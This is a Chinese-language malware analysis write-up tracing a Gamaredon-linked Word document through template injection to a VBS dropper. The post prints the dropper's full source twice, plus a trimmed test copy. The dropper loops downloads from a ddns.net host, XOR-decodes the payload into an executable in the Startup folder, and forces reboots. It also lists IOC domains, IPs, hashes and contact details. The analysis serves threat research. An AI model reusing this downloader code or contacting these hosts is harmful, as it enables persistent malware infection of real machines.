0x00 前言

样本hash:4778869cf2564b14b6bbf4baf361469a

拿到一个样本,第一件事应该是确定该样本属于哪类

我的做法一般是先拖到winhex中查看一下文件头什么的:
image.png

这里看起来是一个压缩格式的文档,由后面的item1.xml可以推测应该是office2007之后的office文档
既然基本上确定是office文档了,尝试解压一下看看:
image.png

根据以前的文档分析,这里应该是一个docx文档
更名为docx并使用office2013打开
看样子是个典型的模板注入
这里请求的地址较断,在这个页面就可以直接看到完整请求地址:
http://yotaset.ddns.net/yota.dot
image.png

0x01 分析

文档内容

看一下文档内容:
image.png

嗯 和网上之前曝光的Gamaredon组织的内容有点类似

在文档最后,留了一个电话和gmail邮箱,也稍微记录一下,万一有用呢
+380977269510, tiamoanni@gmail.com
image.png

下载dot文件

换个电脑请求一下出现的地址:
image.png

页面长这样,内容大概是说页面访问不了不拉不拉的
抱着一个怀疑的态度,暂时先考虑从其他地方去找这个yota.dot文件
尝试直接在vt上搜索yota.dot
image.png

ummm好像没有东西,那尝试搜索http://yotaset.ddns.net/yota.dot
image.png
看到上传时间是七天前,应该是本次共计所对应的

查看DETAILS选项:
image.png

那么这个文件应就是目标dot了:
image.png

下载到本地:
image.png

分析dot

将下载的文件添加dot后缀,word打开:
image.png

是一个空白的带宏代码的文档。
宏代码长如下这样:
image.png

从上往下看,程序首先是创建了两个对象

  1. Dim uKSUBtGo
  2. uKSUBtGo = "Set WShell=CreateObject(""WSc" + "ri" + "pt.S" + "hel" + "l"")"
  3. Set vfKtZARk = CreateObject("WScr" + "ipt.Ne" + "two" + "rk")

wscript.shell
wscript.Network
应该分别用于执行shell以及网络请求的

然后通过代码创建Scripting.FileSystemObject对象以提供对文件系统的访问

  1. Set wEDMwGJH = CreateObject("Sc" + "rip" + "ting.Fi" + "leSy" + "stemOb" + "ject")

接着Shellcode获取了用户计算机的信息,然后进行转换并拼接到后面的一个请求地址中
image.png
请求地址拼接出来如下:
http://korneliuswork.ddns.net/WIN-IHN30SD7IMB_9AC9AA87//rebootor.php
其中WIN-IHN30SD7IMB_9AC9AA87是计算机的标识

获取用户环境变量,后续应该会基于该路径释放文件

  1. AppPaths = Environ("Appdata")

声明了两个路径,这两个路径后面会拼接到释放的文件中
image.png

接着写入了两个注册表键值
而设置该键是为了将宏标记为安全
image.png

最后就是一大串的AZSmCKHa.Write,通常来说会写入三种类型的文件,vb powershell 和js
稍微调一下代码,就可以得知恶意代码执行后会在
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
目录下释放security.vbs文件
image.png

写入完成:
image.png

释放的VB分析

先跑一下这个vbs的行为,由于vbs都是调用windows的wscript.exe执行的,这里直接监视wscript.exe即可
image.png

可以看到,Shellcode在执行过程中,不断的向%APPDATA%目录写入文件,随后又删除。
生成的文件名都是随机字符串
以及遍历文件列表的行为:
image.png

行为摸了一下,接下来看具体的代码:

  1. Function CLDCvmeg(xhmjPnsk)
  2. On Error Resume Next
  3. Set GHPiNqEA = CreateObject("MSXML2.XMLHTTP")
  4. With GHPiNqEA
  5. .Open "GET", xhmjPnsk, False
  6. .send
  7. End With
  8. If GHPiNqEA.Status = 200 Then
  9. CLDCvmeg = GHPiNqEA.ResponseBody
  10. End If
  11. End Function
  12. Function Encode( KWKhBKJb, QuByZuyg, zgVWzifW )
  13. Dim UIzlfDOE, sRMmQeTH, LVFaTeVS, JKCjSZfP, nLGKrzOK, WDDOZIip
  14. Const ForAppending = 8
  15. Const ForReading = 1
  16. Const ForWriting = 2
  17. Const TristateFalse = 0
  18. Const TristateMixed = -2
  19. Const TristateTrue = -1
  20. Const TristateUseDefault = -2
  21. On Error Resume Next
  22. If Not IsArray( zgVWzifW ) Then
  23. zgVWzifW = Array( zgVWzifW )
  24. End If
  25. For UIzlfDOE = 0 To UBound( zgVWzifW )
  26. If Not IsNumeric( zgVWzifW(i) ) Then
  27. Encode = 1032
  28. Exit Function
  29. End If
  30. If zgVWzifW(UIzlfDOE) < 0 Or zgVWzifW(UIzlfDOE) > 255 Then
  31. Encode = 1031
  32. Exit Function
  33. End If
  34. Next
  35. Set sRMmQeTH = CreateObject( "Scripting.FileSystemObject" )
  36. If sRMmQeTH.FileExists( KWKhBKJb ) Then
  37. Set LVFaTeVS = sRMmQeTH.GetFile( KWKhBKJb )
  38. Set nLGKrzOK = LVFaTeVS.OpenAsTextStream( ForReading, TriStateFalse )
  39. Else
  40. nLGKrzOK.Close
  41. Set nLGKrzOK = Nothing
  42. Set LVFaTeVS = Nothing
  43. Set sRMmQeTH = Nothing
  44. Exit Function
  45. End If
  46. If sRMmQeTH.FileExists( QuByZuyg ) Then
  47. nLGKrzOK.Close
  48. Set nLGKrzOK = Nothing
  49. Set LVFaTeVS = Nothing
  50. If sRMmQeTH.Fileexists( KWKhBKJb) Then sRMmQeTH.DeleteFile KWKhBKJb
  51. Set sRMmQeTH = Nothing
  52. Exit Function
  53. Else
  54. Set JKCjSZfP = sRMmQeTH.CreateTextFile( QuByZuyg, True, False )
  55. End If
  56. set UIzlfDOE = 0
  57. Do Until nLGKrzOK.AtEndOfStream
  58. For UIzlfDOE = 0 To UBound( zgVWzifW )
  59. UIzlfDOE + 1 mod ( UBound( zgVWzifW ))
  60. JKCjSZfP.Write Chr( Asc( nLGKrzOK.Read( 1 ) ) Xor zgVWzifW(UIzlfDOE) )
  61. if nLGKrzOK.AtEndOfStream Then Exit Do
  62. Next
  63. Loop
  64. set UIzlfDOE = 0
  65. Do Until nLGKrzOK.AtEndOfStream
  66. UIzlfDOE = ( UIzlfDOE + 1 ) \ ( UBound( zgVWzifW ) + 1 )
  67. JKCjSZfP.Write Chr( Asc( nLGKrzOK.Read( 1 ) ) Xor zgVWzifW(WDDOZIip) )
  68. UIzlfDOE=UIzlfDOE+1
  69. If WDDOZIip<UBound( zgVWzifW ) Then
  70. WDDOZIip=WDDOZIip+1
  71. else WDDOZIip=0
  72. End If
  73. Loop
  74. JKCjSZfP.Close
  75. If sRMmQeTH.Fileexists(KWKhBKJb) Then sRMmQeTH.DeleteFile KWKhBKJb
  76. nLGKrzOK.Close
  77. Set nLGKrzOK = Nothing
  78. Set LVFaTeVS = Nothing
  79. Set JKCjSZfP = Nothing
  80. Set sRMmQeTH = Nothing
  81. On Error Goto 0
  82. End Function
  83. Function GetMxUZhZHN( JVVqpSiS )
  84. Dim UIzlfDOE, zgVWzifW( )
  85. ReDim zgVWzifW( Len( JVVqpSiS ) - 1 )
  86. For UIzlfDOE = 0 To UBound( zgVWzifW )
  87. zgVWzifW(UIzlfDOE) = Asc( Mid( JVVqpSiS, UIzlfDOE + 1, 1 ) )
  88. Next
  89. GetMxUZhZHN = zgVWzifW
  90. End Function
  91. Function JGFAPnao(ByVal qqKtOALe)
  92. Dim VIkwJSQM
  93. Const yJEHBKZk = "abcdefghijklmnopqrstuvwxyz0123456789"
  94. Randomize
  95. For UIzlfDOE = 1 To qqKtOALe
  96. VIkwJSQM = VIkwJSQM & Mid(yJEHBKZk, Int(36 * Rnd + 1), 1)
  97. Next
  98. JGFAPnao = VIkwJSQM
  99. End Function
  100. Sub save(data)
  101. Dim IDrBJtww
  102. IDrBJtww = "1"
  103. IDrBJtww = JGFAPnao(5)
  104. Set VSvGvYGC = CreateObject("Scripting.FileSystemObject")
  105. Set xIrnqUVA = CreateObject("ADODB.Stream")
  106. On Error Resume Next
  107. xIrnqUVA.Open
  108. xIrnqUVA.Type = 1
  109. xIrnqUVA.Write (data)
  110. xIrnqUVA.Position = 0
  111. Set VSvGvYGC = Nothing
  112. xIrnqUVA.SaveToFile "C:\Users\Shyt\AppData\Roaming\"+ IDrBJtww +".txt"
  113. xIrnqUVA.Close
  114. WScript.Sleep 7273
  115. Set yBfuPFFD = CreateObject("Scripting.FileSystemObject")
  116. Set FBwpkCFY = yBfuPFFD.GetFile("C:\Users\Shyt\AppData\Roaming\"+ IDrBJtww +".txt")
  117. If FBwpkCFY.Size < 12425 Then FBwpkCFY.Delete
  118. Dim arrMxUZhZHN, oBsaEHDX
  119. arrMxUZhZHN = GetMxUZhZHN( "9AC9AA87")
  120. oBsaEHDX = Encode( "C:\Users\Shyt\AppData\Roaming\"+ IDrBJtww +".txt", "C:\Users\Shyt\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"+IDrBJtww+".exe", arrMxUZhZHN )
  121. WScript.Sleep 6425
  122. If oBsaEHDX <> 0 Then
  123. End If
  124. End Sub
  125. pKeIwNCN = 1
  126. Do While pKeIwNCN > 0
  127. WScript.Sleep 181244
  128. save CLDCvmeg("http://korneliuswork.ddns.net/WIN-IHN30SD7IMB_9AC9AA87//rebootor.php")
  129. Dim YWZxbTGp, dIisjAUJ, JgEairIr, VSvGvYGC
  130. Set CDDtmtsF = CreateObject("Scripting.FileSystemObject")
  131. YWZxbTGp = CDDtmtsF.GetParentFolderName(WScript.ScriptFullName)
  132. With WScript.CreateObject("Scripting.FileSystemObject")
  133. Set sRMmQeTH = CreateObject("Scripting.FileSystemObject")
  134. If sRMmQeTH.Fileexists("C:\Users\Shyt\AppData\Roaming\"+ IDrBJtww +".txt") Then sRMmQeTH.DeleteFile "C:\Users\Shyt\AppData\Roaming\"+ IDrBJtww +".txt"
  135. JgEairIr = 0
  136. For Each dIisjAUJ In .GetFolder(YWZxbTGp).Files
  137. If UCase(.GetExtensionName(dIisjAUJ.Name)) = UCase("exe") Then
  138. JgEairIr = JgEairIr + 1
  139. End If
  140. Next
  141. If (JgEairIr > 2) Then
  142. Dim YncDXDKj, BLxBKzNR, BLxBKzNRSheck
  143. Set YncDXDKj = GetObject("WinMgmts:{(Shutdown,RemoteShutdown)}!\\.\Root\CIMV2:Win32_OperatingSystem")
  144. Set BLxBKzNR = YncDXDKj.Instances_
  145. For Each BLxBKzNRSheck In BLxBKzNR
  146. BLxBKzNRSheck.Reboot()
  147. Next
  148. End If
  149. End With
  150. Loop

这个代码咋一看很吓人,不太清楚入口点在哪里,其实这也的代码,通常情况下入口点在最下面
这里的代码由多个function和sub组成,把这些function和sub分开,代码将会如下:

  1. Function CLDCvmeg(xhmjPnsk)
  2. On Error Resume Next
  3. Set GHPiNqEA = CreateObject("MSXML2.XMLHTTP")
  4. With GHPiNqEA
  5. .Open "GET", xhmjPnsk, False
  6. .send
  7. End With
  8. If GHPiNqEA.Status = 200 Then
  9. CLDCvmeg = GHPiNqEA.ResponseBody
  10. End If
  11. End Function
  12. Function Encode( KWKhBKJb, QuByZuyg, zgVWzifW )
  13. Dim UIzlfDOE, sRMmQeTH, LVFaTeVS, JKCjSZfP, nLGKrzOK, WDDOZIip
  14. Const ForAppending = 8
  15. Const ForReading = 1
  16. Const ForWriting = 2
  17. Const TristateFalse = 0
  18. Const TristateMixed = -2
  19. Const TristateTrue = -1
  20. Const TristateUseDefault = -2
  21. On Error Resume Next
  22. If Not IsArray( zgVWzifW ) Then
  23. zgVWzifW = Array( zgVWzifW )
  24. End If
  25. For UIzlfDOE = 0 To UBound( zgVWzifW )
  26. If Not IsNumeric( zgVWzifW(i) ) Then
  27. Encode = 1032
  28. Exit Function
  29. End If
  30. If zgVWzifW(UIzlfDOE) < 0 Or zgVWzifW(UIzlfDOE) > 255 Then
  31. Encode = 1031
  32. Exit Function
  33. End If
  34. Next
  35. Set sRMmQeTH = CreateObject( "Scripting.FileSystemObject" )
  36. If sRMmQeTH.FileExists( KWKhBKJb ) Then
  37. Set LVFaTeVS = sRMmQeTH.GetFile( KWKhBKJb )
  38. Set nLGKrzOK = LVFaTeVS.OpenAsTextStream( ForReading, TriStateFalse )
  39. Else
  40. nLGKrzOK.Close
  41. Set nLGKrzOK = Nothing
  42. Set LVFaTeVS = Nothing
  43. Set sRMmQeTH = Nothing
  44. Exit Function
  45. End If
  46. If sRMmQeTH.FileExists( QuByZuyg ) Then
  47. nLGKrzOK.Close
  48. Set nLGKrzOK = Nothing
  49. Set LVFaTeVS = Nothing
  50. If sRMmQeTH.Fileexists( KWKhBKJb) Then sRMmQeTH.DeleteFile KWKhBKJb
  51. Set sRMmQeTH = Nothing
  52. Exit Function
  53. Else
  54. Set JKCjSZfP = sRMmQeTH.CreateTextFile( QuByZuyg, True, False )
  55. End If
  56. set UIzlfDOE = 0
  57. Do Until nLGKrzOK.AtEndOfStream
  58. For UIzlfDOE = 0 To UBound( zgVWzifW )
  59. UIzlfDOE + 1 mod ( UBound( zgVWzifW ))
  60. JKCjSZfP.Write Chr( Asc( nLGKrzOK.Read( 1 ) ) Xor zgVWzifW(UIzlfDOE) )
  61. if nLGKrzOK.AtEndOfStream Then Exit Do
  62. Next
  63. Loop
  64. set UIzlfDOE = 0
  65. Do Until nLGKrzOK.AtEndOfStream
  66. UIzlfDOE = ( UIzlfDOE + 1 ) \ ( UBound( zgVWzifW ) + 1 )
  67. JKCjSZfP.Write Chr( Asc( nLGKrzOK.Read( 1 ) ) Xor zgVWzifW(WDDOZIip) )
  68. UIzlfDOE=UIzlfDOE+1
  69. If WDDOZIip<UBound( zgVWzifW ) Then
  70. WDDOZIip=WDDOZIip+1
  71. else WDDOZIip=0
  72. End If
  73. Loop
  74. JKCjSZfP.Close
  75. If sRMmQeTH.Fileexists(KWKhBKJb) Then sRMmQeTH.DeleteFile KWKhBKJb
  76. nLGKrzOK.Close
  77. Set nLGKrzOK = Nothing
  78. Set LVFaTeVS = Nothing
  79. Set JKCjSZfP = Nothing
  80. Set sRMmQeTH = Nothing
  81. On Error Goto 0
  82. End Function
  83. Function GetMxUZhZHN( JVVqpSiS )
  84. Dim UIzlfDOE, zgVWzifW( )
  85. ReDim zgVWzifW( Len( JVVqpSiS ) - 1 )
  86. For UIzlfDOE = 0 To UBound( zgVWzifW )
  87. zgVWzifW(UIzlfDOE) = Asc( Mid( JVVqpSiS, UIzlfDOE + 1, 1 ) )
  88. Next
  89. GetMxUZhZHN = zgVWzifW
  90. End Function
  91. Function JGFAPnao(ByVal qqKtOALe)
  92. Dim VIkwJSQM
  93. Const yJEHBKZk = "abcdefghijklmnopqrstuvwxyz0123456789"
  94. Randomize
  95. For UIzlfDOE = 1 To qqKtOALe
  96. VIkwJSQM = VIkwJSQM & Mid(yJEHBKZk, Int(36 * Rnd + 1), 1)
  97. Next
  98. JGFAPnao = VIkwJSQM
  99. End Function
  100. Sub save(data)
  101. Dim IDrBJtww
  102. IDrBJtww = "1"
  103. IDrBJtww = JGFAPnao(5)
  104. Set VSvGvYGC = CreateObject("Scripting.FileSystemObject")
  105. Set xIrnqUVA = CreateObject("ADODB.Stream")
  106. On Error Resume Next
  107. xIrnqUVA.Open
  108. xIrnqUVA.Type = 1
  109. xIrnqUVA.Write (data)
  110. xIrnqUVA.Position = 0
  111. Set VSvGvYGC = Nothing
  112. xIrnqUVA.SaveToFile "C:\Users\Shyt\AppData\Roaming\"+ IDrBJtww +".txt"
  113. xIrnqUVA.Close
  114. WScript.Sleep 7273
  115. Set yBfuPFFD = CreateObject("Scripting.FileSystemObject")
  116. Set FBwpkCFY = yBfuPFFD.GetFile("C:\Users\Shyt\AppData\Roaming\"+ IDrBJtww +".txt")
  117. If FBwpkCFY.Size < 12425 Then FBwpkCFY.Delete
  118. Dim arrMxUZhZHN, oBsaEHDX
  119. arrMxUZhZHN = GetMxUZhZHN( "9AC9AA87")
  120. oBsaEHDX = Encode( "C:\Users\Shyt\AppData\Roaming\"+ IDrBJtww +".txt", "C:\Users\Shyt\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"+IDrBJtww+".exe", arrMxUZhZHN )
  121. WScript.Sleep 6425
  122. If oBsaEHDX <> 0 Then
  123. End If
  124. End Sub
  125. pKeIwNCN = 1
  126. Do While pKeIwNCN > 0
  127. WScript.Sleep 181244
  128. save CLDCvmeg("http://korneliuswork.ddns.net/WIN-IHN30SD7IMB_9AC9AA87//rebootor.php")
  129. Dim YWZxbTGp, dIisjAUJ, JgEairIr, VSvGvYGC
  130. Set CDDtmtsF = CreateObject("Scripting.FileSystemObject")
  131. YWZxbTGp = CDDtmtsF.GetParentFolderName(WScript.ScriptFullName)
  132. With WScript.CreateObject("Scripting.FileSystemObject")
  133. Set sRMmQeTH = CreateObject("Scripting.FileSystemObject")
  134. If sRMmQeTH.Fileexists("C:\Users\Shyt\AppData\Roaming\"+ IDrBJtww +".txt") Then sRMmQeTH.DeleteFile "C:\Users\Shyt\AppData\Roaming\"+ IDrBJtww +".txt"
  135. JgEairIr = 0
  136. For Each dIisjAUJ In .GetFolder(YWZxbTGp).Files
  137. If UCase(.GetExtensionName(dIisjAUJ.Name)) = UCase("exe") Then
  138. JgEairIr = JgEairIr + 1
  139. End If
  140. Next
  141. If (JgEairIr > 2) Then
  142. Dim YncDXDKj, BLxBKzNR, BLxBKzNRSheck
  143. Set YncDXDKj = GetObject("WinMgmts:{(Shutdown,RemoteShutdown)}!\\.\Root\CIMV2:Win32_OperatingSystem")
  144. Set BLxBKzNR = YncDXDKj.Instances_
  145. For Each BLxBKzNRSheck In BLxBKzNR
  146. BLxBKzNRSheck.Reboot()
  147. Next
  148. End If
  149. End With
  150. Loop

所以执行该脚本,代码实际上会从136行,也就是pKeIwNCN = 1开始执行,然后爱下面的do Loop循环中对上面的fun进行调用。

在该脚本中,pKeIwNCN只有一次赋值,所以这里是永真循环
image.png

接着程序会将http://korneliuswork.ddns.net/WIN-IHN30SD7IMB_9AC9AA87//rebootor.php作为参数传递到CLDCvmeg函数中:
image.png

根据CLDCvmeg可得知,程序会尝试通过GET请求对传入进来的域名进行请求,如果请求成功,则将ResponseBody赋值给CLDCvmeg

而该值会作为参数传递到save函数中,在save函数中实现文件的本地保存:
image.png

save函数首先会生成一个长度为5的随机字符,这也解释了在火绒剑中行为检测看到的随机文件名的由来:
image.png

如果文件的大小小于12425,程序就会删除刚才的创建的文件
如果大于12425,说明成功从请求地址中获取到了返回值,程序就会调用Encode函数,将这个txt文件转换为exe文件
路径同vbs的释放路径:
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
image.png

接着程序遍历当前vbs执行目录下的所有文件,尝试查找exe文件
image.png

如果找到两个以上的exe文件,程序则会获取到用户计算机最后一次启动时间并将计算机重启。
image.png

现在vbs代码也分析好了,通过对vbs的分析可以知道,该样本最后应该会在本地落地并执行一个exe文件
既然这个exe文件的数据来源是
http://korneliuswork.ddns.net/WIN-IHN30SD7IMB_9AC9AA87//rebootor.php

那就写脚本下载试试
结果403了
image.png

好愁,想起之前代码是使用vbs实现的,难道我忽略了什么条件。
我也照葫芦画瓢,使用他的vbs代码实现看看

  1. Function CLDCvmeg(xhmjPnsk)
  2. On Error Resume Next
  3. Set GHPiNqEA = CreateObject("MSXML2.XMLHTTP")
  4. With GHPiNqEA
  5. .Open "GET", xhmjPnsk, False
  6. .send
  7. End With
  8. MsgBox xhmjPnsk, 48, "请求地址"
  9. MsgBox GHPiNqEA.ResponseBody, 48, "ResponseBody"
  10. If GHPiNqEA.Status = 200 Then
  11. CLDCvmeg = GHPiNqEA.ResponseBody
  12. End If
  13. End Function
  14. Function JGFAPnao(ByVal qqKtOALe)
  15. Dim VIkwJSQM
  16. Const yJEHBKZk = "abcdefghijklmnopqrstuvwxyz0123456789"
  17. Randomize
  18. For UIzlfDOE = 1 To qqKtOALe
  19. VIkwJSQM = VIkwJSQM & Mid(yJEHBKZk, Int(36 * Rnd + 1), 1)
  20. Next
  21. JGFAPnao = VIkwJSQM
  22. End Function
  23. Sub save(data)
  24. Dim IDrBJtww
  25. IDrBJtww = "1"
  26. IDrBJtww = JGFAPnao(5)
  27. Set VSvGvYGC = CreateObject("Scripting.FileSystemObject")
  28. Set xIrnqUVA = CreateObject("ADODB.Stream")
  29. On Error Resume Next
  30. xIrnqUVA.Open
  31. xIrnqUVA.Type = 1
  32. xIrnqUVA.Write (data)
  33. xIrnqUVA.Position = 0
  34. Set VSvGvYGC = Nothing
  35. xIrnqUVA.SaveToFile "C:\Users\Administrator\AppData\Roaming\"+ IDrBJtww +".txt"
  36. xIrnqUVA.Close
  37. Set yBfuPFFD = CreateObject("Scripting.FileSystemObject")
  38. Set FBwpkCFY = yBfuPFFD.GetFile("C:\Users\Administrator\AppData\Roaming\"+ IDrBJtww +".txt")
  39. MsgBox FBwpkCFY, 48, "保存路径"
  40. Dim arrMxUZhZHN, oBsaEHDX
  41. arrMxUZhZHN = GetMxUZhZHN( "9AC9AA87")
  42. End Sub
  43. save CLDCvmeg("http://korneliuswork.ddns.net/WIN-IHN30SD7IMB_9AC9AA87//rebootor.php")

image.png

返回值为空
image.png

保存路径:
image.png

挂了代理之后得到返回值:
image.png

还是失败,那看来只能从其他角度入手了,想了想还是借助VT
回头来看,请求的地址是:
http://korneliuswork.ddns.net/WIN-IHN30SD7IMB_9AC9AA87//rebootor.php
那么域名就是:
http://korneliuswork.ddns.net
可以看到最后更新时间已经是8个月前了
image.png

12月份的时候一共解析了两个ip:
188.225.25.50
2.59.41.5

兄弟节点还挺多:
theweidi.ddns.net
kimusia.ddns.net
regexp.ddns.net
rafserverdell.ddns.net
elo6660.ddns.net
rdinterationalbrest.ddns.net
engine79.ddns.net
djyahia20182020.ddns.net
opqfile.ddns.net
clinicagastro.ddns.net
peakymedia.ddns.net
pplmanageraccountss.ddns.net
btcnode.ddns.net
binkar.ddns.net
wrs-freiburg.ddns.net
rldpartsa.ddns.net
projectaleshen.ddns.net
mabanquebnpmobile.ddns.net
ezrealkappapride.ddns.net
….
一共是100个,这里就不写完了,感兴趣的可以到VT上查看
而这些地址的共同点都是xxxxx.ddns.net

VT上也刚好列举了其他样本对该域名访问时的url
image.png
其中有两条和本次样本格式相同,都是域名+计算机信息+rebootor.php

在最下面还有一个downloaded files ,文件hash 9f9690fc44ad11e9959c02afb0dd936f
image.png
该文件目前vt全白,但是从文件大小来看应该不是我们要找的文件,应该是403的返回信息。
image.png

在Google上有两条搜索结果
image.png
该链接是anomali公司的一份报告
从报告可以看到该文档的确与GamaredonAPT相关联
image.png
目前有两个关联的hash:
1f185b6d28c8e87142d8fb0f8172caf56924ab1812c3dca218b7da5e01d23b54
03d46971fdf32ef2d5f647a12bfd272dd28fb58a777f025a717b6e017e64d5a3
加上当前样本的hash:
47723574d99719733f87e1859e80cfbd88c5c482428344593d2d025bf2108368

终于在一个兄弟节点下找到了三个样本:
https://www.virustotal.com/gui/domain/restored.ddns.net/relations
image.png